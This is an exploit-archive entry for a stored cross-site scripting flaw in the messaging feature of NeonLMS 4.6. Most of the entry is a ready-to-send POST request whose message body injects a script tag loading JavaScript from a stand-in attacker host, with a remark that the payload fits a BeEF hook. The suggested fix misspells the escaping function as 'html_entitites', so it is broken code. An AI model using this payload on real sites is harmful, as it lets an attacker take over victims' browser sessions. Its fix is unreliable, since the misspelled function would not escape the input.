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NeonLMS Learning Management System PHP Laravel Script 4.6 XSS

NeonLMS Learning Management System PHP Laravel Script 4.6 XSS
Posted Jun 4, 2020
Authored by th3d1gger

NeonLMS Learning Management System PHP Laravel Script version 4.6 suffers from a persistent cross site scripting vulnerability.

tags | exploit, php, xss
MD5 | 2e508022471e1a49271d4745b0b3e811

NeonLMS Learning Management System PHP Laravel Script 4.6 XSS

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# Exploit Title: NeonLMS - Learning Management System PHP Laravel Script - 'Messages' Persistent Cross Site Scripting
# Exploit Author: th3d1gger
# Google Dork: N/A
# Type: Web App
# Date: 2020-05-29
# Vendor Homepage: https://www.neonlms.com/
# Software Link: https://codecanyon.net/item/neonlms-learning-management-system-php-laravel-script/23641351
# Affected Version: 4.6
# Tested on: Windows
# CVE : N/A

#Vulnerable Request:
POST /user/messages/reply HTTP/1.1

Host: neonlmshost

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://neonlmshost/user/messages?thread=1

Content-Type: application/x-www-form-urlencoded

Content-Length: 117



Connection: close

Upgrade-Insecure-Requests: 1



_token=GTpbr2our96dPg1Ojk0C1MyVWr03naCDSgGqfl2J&thread_id=1&message=<script src="//attackerhost/b.js">


#Vulnerable code

payload must be lesser than 35 characters so attacker can only include external js or some kind of beef hook etc.

app\Http\Controllers\Backend\MessagesController.php

public function getUnreadMessages(Request $request){
$unreadMessageCount = auth()->user()->unreadMessagesCount;
$unreadThreads = [];
foreach(auth()->user()->threads as $item){
if($item->unreadMessagesCount > 0){
$data = [
'thread_id' => $item->id,
'message' => str_limit($item->lastMessage->body, 35), ------>vulnerable part
'unreadMessagesCount' => $item->unreadMessagesCount,
'title' => $item->title
];
$unreadThreads[] = $data;
}
}
return ['unreadMessageCount' =>$unreadMessageCount,'threads' => $unreadThreads];
}

#fix
'message' => html_entitites(str_limit($item->lastMessage->body, 35)),
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